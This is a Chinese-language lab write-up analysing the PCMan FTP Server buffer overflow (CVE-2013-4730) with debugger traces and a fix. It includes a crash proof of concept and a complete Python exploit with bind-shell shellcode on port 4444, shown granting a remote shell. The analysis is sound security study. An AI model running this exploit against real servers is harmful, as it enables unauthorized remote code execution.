简要介绍
这个软件是*国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞
具体exp可以点这里
实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000)
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host <user> <password>" % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
sploit = "A" * 2008
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('ABOR '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()
实验环境
WinXP sp3 中文版
PCMan FTP Server 2.0
immunity debugger
windbg
mona
漏洞分析
如果我们在xp运行作者的exp就会出现 "0x41414141"指令引用的"0x41414141"内存.该内存不能为"read"
我们分析可以从下面几个方面入手
1. 通过栈回溯,找到漏洞发生前的函数调用,借助ida分析即可(这个需要通过计算buffer距离返回地址的个数,使用适当的payload,不然会覆盖之前的函数调用)
2. 基于污点追踪的分析方法
3. 由于这是个ftp程序,会接收用户输入的命令及参数,应该会调用recv函数,我们可以在recv函数下断点,一步步看看到哪个函数崩溃了
基于栈回溯的分析方法
首先我们要定位返回地址 !mona pattern_create 2020
运行后我们看到了返回地址覆盖成了0x43386f43 !mona pattern_offset 0x43386f43
算到是2004,即2005 - 2008就是返回地址位置
那我们发2008个A过去吧
windbg附加,运行,发送payload,但还是看不到之前的函数调用
0:002> g
(f40.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=0000000c esi=0012edc4 edi=00000004
eip=41414141 esp=0012edb8 ebp=00aa17a0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012edb4 00000000 00000000 00000001 524f4241 0x41414141
既然这样的话,我们就基于污点(其实通过od或者直接dd esp可以判断出来一些返回地址的)
基于污点追踪的分析方法
我们看看崩溃后的栈前后,前面的0x41应该是复制后的0x41,后面的0x41应该是用户端传过来保存在栈上的
0:000> dd esp -20
0012ed98 41414141 41414141 41414141 41414141
0012eda8 41414141 41414141 41414141 00000a0d
0012edb8 00000402 00000000 00000001 524f4241
0012edc8 41414120 41414141 41414141 41414141
0012edd8 41414141 41414141 41414141 41414141
0012ede8 41414141 41414141 41414141 41414141
0012edf8 41414141 41414141 41414141 41414141
0012ee08 41414141 41414141 41414141 41414141
那我们尝试在0012ed98 这个地址下写入断点,当然你在0012edb4之前有0x41的地址下都可以
0:000> ba w4 0012ed98 ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> bl
0 e 0012ed98 w 4 0001 (0001) 0:**** ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> g
*** WARNING: Unable to verify checksum for E:\PCManFTP\PCManFTPD2.exe
*** ERROR: Module load completed but symbols could not be loaded for E:\PCManFTP\PCManFTPD2.exe
eax=00000041 ebx=00000018 ecx=0012e544 edx=0012ed9b esi=0012f589 edi=0012e518
eip=004173af esp=0012e2a4 ebp=0012e2a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
PCManFTPD2+0x173af:
004173af ff01 inc dword ptr [ecx] ds:0023:0012e544=0012ed9b
我们再看看汇编窗口,就是这条语句的复制的0x41 004173ad 8802 mov byte ptr [edx],al
用ida看看
int __cdecl write_char(int a1, FILE *a2, int a3)
{
bool v3; // sf@1
int v4; // eax@2
bool v5; // zf@4
int result; // eax@4
v3 = a2->_cnt-- - 1 < 0;
if ( v3 )
{
v4 = _flsbuf(a1, a2);
}
else
{
*a2->_ptr++ = a1; // 这里复制0x41到栈上
v4 = (unsigned __int8)a1;
}
......
}
我们看看此时的栈
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e2a4 00417428 00000041 0012e544 0012e518 PCManFTPD2+0x173af
0012e52c 00412ced 0012e544 004416f6 0012e594 PCManFTPD2+0x17428
0012e564 00403eeb 0012e5b0 004416d4 000007e1 PCManFTPD2+0x12ced
0012e568 0012e5b0 004416d4 000007e1 00000003 PCManFTPD2+0x3eeb
0012e56c 004416d4 000007e1 00000003 0000001a 0x12e5b0
0012e5b0 322f332f 325b2036 37313a30 3028205d PCManFTPD2+0x416d4
我们看到第一行返回地址00417428
,通过ida看是在write_string函数内,再看看再上一层的返回地址00412ced
,是在sprintf函数内(有种成功的预感),继续看上一层返回地址00403eeb
,我们看看这个地址所在函数
struct CWinThread *__thiscall sub_403E60(_DWORD *this, _BYTE *a2)
{
......
v2 = this;
if ( dword_443540 || (result = (struct CWinThread *)dword_443548) != 0 )
{
GetLocalTime(&SystemTime);
v4 = v2[9];
if ( v4 )
v5 = *(_DWORD *)(v4 + 8);
else
v5 = v2[1];
v6 = sprintf(
&Buffer,
aDDD02d02d05dSS,
SystemTime.wYear,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
v2[3],
v5,
a2);
......
return result;
}
我们看看那个格式化串 .data:004416D4 ; char aDDD02d02d05dSS[]
.data:004416D4 aDDD02d02d05dSS db '%d/%d/%d [%02d:%02d] (%05d) %s> %s',0Dh,0Ah,0
之后经过实验,发现我们的字符是对应最后的%s那里
那我们可以大胆预测就是这格式化字符时候出现的溢出
那我们在.text:00403EE6 call _sprintf
下断
发现第一次暂停下来后,再按6次g才崩溃
那我们看看第5次g的情况,看看堆栈,再看看第10个参数值
0:000> dd esp
0012e56c 0012e5b0 004416d4 000007e1 00000003
0012e57c 0000001a 00000014 00000028 00000148
0012e58c 00c886f0 0012edc4 00000004 0012edc4
0012e59c 000307e1 001a0000 00280014 02170006
0012e5ac 00000000 7c930228 ffffffff 00000fa0
0012e5bc 7c931086 7c9301db 00000001 00150000
0012e5cc 0015b9e8 00423756 0000004e 00000065
0012e5dc 0012e800 0000004e 00000000 0012e648
0:000> dc 0012edc4
0012edc4 524f4241 41414120 41414141 41414141 ABOR AAAAAAAAAAA
0012edd4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012ede4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012edf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012ee04 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012ee14 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012ee24 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012ee34 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到确实我们发送过去的畸形字符串
那么到这里就很清楚了,就是使用sprintf对用户的输入进行格式化的时候没有进行长度的检查
为什么是6次sprintf呢?格式化的目的是什么?
其实我们在上面看到他的源码的时候,获取系统的日期,时分秒,就可以猜到是格式化后保存到日志里面的
我们看看日志,为什么是6次就很清楚了
2017/3/26 [20:37] (00332) 192.168.253.151> User connecting from 192.168.253.151
2017/3/26 [20:37] (00332) 192.168.253.151> USER giantbranch
2017/3/26 [20:37] (00332) giantbranch> 331 User name okay, need password.
2017/3/26 [20:37] (00332) giantbranch> PASS *****
2017/3/26 [20:37] (00332) giantbranch> 230 User logged in
2017/3/26 [20:37] (00332) giantbranch> ABOR AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .............
从特殊函数开始分析的方法
这个函数就是recv
我们通过ida查找,可以看到程序只有两处调用recv(004029D5
和0040563E
),我们可以在windbg下断点,发现只调用了004029d5
0:002> g
Breakpoint 0 hit
eax=0012edc4 ebx=00000000 ecx=00000140 edx=00aa1704 esi=00000000 edi=00000402
eip=004029d5 esp=0012edac ebp=00aa1800 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
PCManFTPD2+0x29d5:
004029d5 ff154c554300 call dword ptr [PCManFTPD2+0x3554c (0043554c)] ds:0023:0043554c={WSOCK32!recv (71a42e70)}
0:000> g
Breakpoint 0 hit
eax=0012edc4 ebx=00000000 ecx=00000140 edx=00aa1704 esi=00000000 edi=00000402
eip=004029d5 esp=0012edac ebp=00aa1800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
PCManFTPD2+0x29d5:
004029d5 ff154c554300 call dword ptr [PCManFTPD2+0x3554c (0043554c)] ds:0023:0043554c={WSOCK32!recv (71a42e70)}
0:000> g
(da8.948): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=0000000c esi=0012edc4 edi=00000004
eip=41414141 esp=0012edb8 ebp=00aa1800 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???
其实第一次断下来是接收用户名和密码
0:002> g
Breakpoint 0 hit
eax=0012edc4 ebx=00000000 ecx=0000013c edx=00aa1704 esi=00000000 edi=00000402
eip=004029d5 esp=0012edac ebp=00aa1800 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
PCManFTPD2+0x29d5:
004029d5 ff154c554300 call dword ptr [PCManFTPD2+0x3554c (0043554c)] ds:0023:0043554c={WSOCK32!recv (71a42e70)}
0:000> dd esp
0012edac 0000013c 0012edc4 00001000 00000000
0012edbc 00000000 00000001 74debd10 004e035c
0012edcc 000000b7 00000000 00000000 0012f2ac
0012eddc 74db0de8 74debd1b 004e035c 0012f2bc
0012edec 74db0de8 74debd1b 004e035c 0012ef34
0012edfc 004e035c b50106a6 004e035c 10008002
0012ee0c 004e035c 004e035c 0012ef64 ffffffff
0012ee1c 00000004 0012f040 77d2c3ff b50106a6
0:000> dc 0012edc4
0012edc4 74debd10 004e035c 000000b7 00000000 ...t\.N.........
0012edd4 00000000 0012f2ac 74db0de8 74debd1b ...........t...t
0012ede4 004e035c 0012f2bc 74db0de8 74debd1b \.N........t...t
0012edf4 004e035c 0012ef34 004e035c b50106a6 \.N.4...\.N.....
0012ee04 004e035c 10008002 004e035c 004e035c \.N.....\.N.\.N.
0012ee14 0012ef64 ffffffff 00000004 0012f040 d...........@...
0012ee24 77d2c3ff b50106a6 00000000 73fd5715 ...w.........W.s
0012ee34 b50106a6 73ff04f0 00000004 00000000 .......s........
0:000> p
eax=0000001d ebx=00000000 ecx=003b6e48 edx=0012ed9c esi=00000000 edi=00000402
eip=004029db esp=0012edbc ebp=00aa1800 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
PCManFTPD2+0x29db:
004029db 8d542408 lea edx,[esp+8]
0:000> dc 0012edc4
0012edc4 52455355 61696720 7262746e 68636e61 USER giantbranch
0012edd4 41500a0d 74205353 0d747365 74debd0a ..PASS test....t
0012ede4 004e035c 0012f2bc 74db0de8 74debd1b \.N........t...t
0012edf4 004e035c 0012ef34 004e035c b50106a6 \.N.4...\.N.....
0012ee04 004e035c 10008002 004e035c 004e035c \.N.....\.N.\.N.
0012ee14 0012ef64 ffffffff 00000004 0012f040 d...........@...
0012ee24 77d2c3ff b50106a6 00000000 73fd5715 ...w.........W.s
0012ee34 b50106a6 73ff04f0 00000004 00000000 .......s........
第二次是接收我们含有畸形参数的命令
那我们从第二次开始单步跟踪
跟踪到00402a26 e835140000 call PCManFTPD2+0x3e60 (00403e60)
崩溃了
那我们在这个函数下断点继续跟踪(可以在recv第二次断下来,再下断00403e60)
跟着我们在这个函数的ret指令之后崩了,
再看看ida就可以定位漏洞了
漏洞总结
利用了3种方式去分析漏洞,成功了两种,还可以
漏洞原理就是使用sprintf格式化的时候没有对字符串长度进行限制检查
漏洞利用
常用的覆盖jmp esp,后面跟shellcode就好了
exp: (jmp esp在你的机子应该要改一下)
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host <user> <password>" % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2004 #overwrite function (ABOR) with garbage/junk chars
espaddress = '\xd8\xfc\x93\x7c' # 0x7c93fcd8
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
sploit = junk+espaddress+nops+shellcode
#sploit = "A" * 2008
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('ABOR '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()
使用的shellcode是绑定shell到4444端口,可以看到运行exp后,
C:\>python hackftp.py 192.168.253.151 giantbranch test
C:\>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 2080
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1424
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 780
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 1424
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 1424
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 732
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING 2080
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING 256
......
我们nc连接一下看看,可以
D:\桌面>nc 192.168.253.151 4444
D:\桌面>nc 192.168.253.151 4444
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
E:\PCManFTP>dir
dir
驱动器 E 中的卷没有标签。
卷的序列号是 EE6E-2ADE
E:\PCManFTP 的目录
2017-03-26 18:09 <DIR> .
2017-03-26 18:09 <DIR> ..
2007-08-29 23:03 <DIR> Blowfish Source Code
2005-04-06 21:04 32,768 Blowfish.dll
2007-08-29 23:03 <DIR> Groups
2017-03-26 18:10 0 Groups.ini
2017-03-26 18:06 0 IPFilter.ini
2005-04-14 04:38 32,768 Lang.dll
2017-03-26 18:06 <DIR> Logs
2005-04-14 04:38 282,624 PCManFTPD2.exe
......
漏洞修复
使用安全的snprintf,或者对字符串长度进行限制
漏洞总结
漏洞是由于将客户端的命令使用sprintf连上时间日期等信息后储存到局部变量,再写到日志文件中,而没有进行命令长度的检测,导致缓冲区溢出的发生